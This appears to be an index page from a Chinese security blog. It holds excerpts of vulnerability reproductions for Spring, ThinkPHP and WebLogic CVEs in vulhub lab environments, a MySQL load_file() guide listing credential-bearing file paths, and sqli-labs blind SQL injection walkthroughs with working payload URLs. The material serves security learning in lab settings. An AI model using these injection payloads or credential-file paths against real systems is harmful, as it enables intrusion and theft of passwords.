0%

漏洞原理

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 – 2.4.4

环境搭建

1
2
cd /vulhub/spring/CVE-2017-4971/
docker-compose up -d

等待环境启动后,访问http://your-ip:8080,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。

漏洞复现

首先访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统:

image

阅读全文 »

漏洞原理

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

环境搭建

使用vulhub搭建漏洞环境

1
2
cd /vulhub/spring/CVE-2016-4977/
docker-compose up -d

启动完成后,访问http://your-ip:8080/即可看到web页面。

影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

阅读全文 »

漏洞详情

ThinkPHP 2.x版本中,使用 preg_replace/e 模式匹配路由:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

环境搭建

使用vulfocous启动漏洞环境

image

打开就是ThinkPHP的默认页面

image

阅读全文 »

漏洞描述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

影响版本

上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31

上海顶想信息科技有限公司 ThinkPHP <=5.0.23

环境搭建

使用 vulfocus 启动漏洞环境

image

访问页面如下:

image

阅读全文 »

漏洞详情

开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。

影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

环境搭建

靶机环境

使用vulhub搭建漏洞环境

1
2
3
4
cd vulhub/weblogic/CVE-2018-2628

docker-compose build
docker-compose up -d

image

访问 http://47.101.62.20:7001/console 初始化整个环境

阅读全文 »

漏洞描述

Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic未授权任意文件上传漏洞(CVE-2018-2894)

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

该漏洞的影响模块为web服务测试页,在默认情况下不启用。 受影响的页面为 /ws_utc/config.do/ws_utc/begin.do

环境搭建

使用vulhub搭建漏洞环境

1
2
3
4
cd vulhub/weblogic/CVE-2018-2894

docker-compose build
docker-compose up -d

直接访问存在漏洞的页面http://47.101.62.20:7001/ws_utc/config.do
image

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,可以直接进行访问上传的文件

阅读全文 »

漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限

受影响版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

环境搭建

使用vulfoces搭建漏洞环境

image

漏洞利用

  1. 访问地址http://47.101.62.20:27036/ 页面长这样

image
2. 访问http://47.101.62.20:27036/wls-wsat/CoordinatorPortType11,存在下图则有可能存在漏洞

阅读全文 »

load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

  1. 必须有权限读取并且文件必须完全可读
    1
    2
    and (select count(*) from mysql.user)>0/*    //如果结果返回正常,说明具有读写权限。
    and (select count(*) from mysql.user)>0/* //返回错误,应该是管理员给数据库帐户降权了
  2. 欲读取文件必须在服务器上
  3. 必须指定文件完整的路径
  4. 欲读取文件必须小于 max_allowed_packet

    如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的
    就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有
    administrators 才能访问的文件,users 就别想 load_file 出来

在实际的注入中,有两个难点需要解决:

  1. 绝对物理路径
  2. 构造有效的畸形语句(报错爆出绝对路径)

    在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露
    WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务
    器的安全将受到严重的威胁.

常用路径:

WINDOWS下:

路径 备注
c:/boot.ini 查看系统版本
c:/windows/php.ini 或 c:/winnt/php.ini php配置信息
c:/windows/my.ini 或 c:/winnt/my.ini 或 C:\Program Files\mysql\my.ini MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD 存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini 存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini 存储了虚拟主机网站路径和密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam 存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe 6.0版本以前的serv-u管理员密码存储
c:\Program Files\RhinoSoft.com\ServUDaemon.exe serv-u管理员密码存储
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf 查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

阅读全文 »

Less6

Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时,对 id 参数进行了处理。这里可以从源代码中可以看到。

1
2
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这一关的策略和less5是一样的,只需要将’换为”即可

演示其中一个payload。使用left()函数布尔注入

1
http://47.101.62.20:11567/Less-6/?id=1%22and%20left(version(),1)=5--+

image

阅读全文 »

Less5

下面使用延时盲注演示

利用sleep()函数

sql语句:

1
and If(ascii(substr(database(),1,1))=116,1,sleep(5))

payload请求:

1
http://47.101.62.20:11567/Less-5/?id=1%27and%20If(ascii(substr(database(),1,1))=116,1,sleep(5))--+

当dadabase()的ASCII值不是116就延时5s然后页面返回空。此处改为115是正确返回

image

利用 BENCHMARK()进行延时注入

阅读全文 »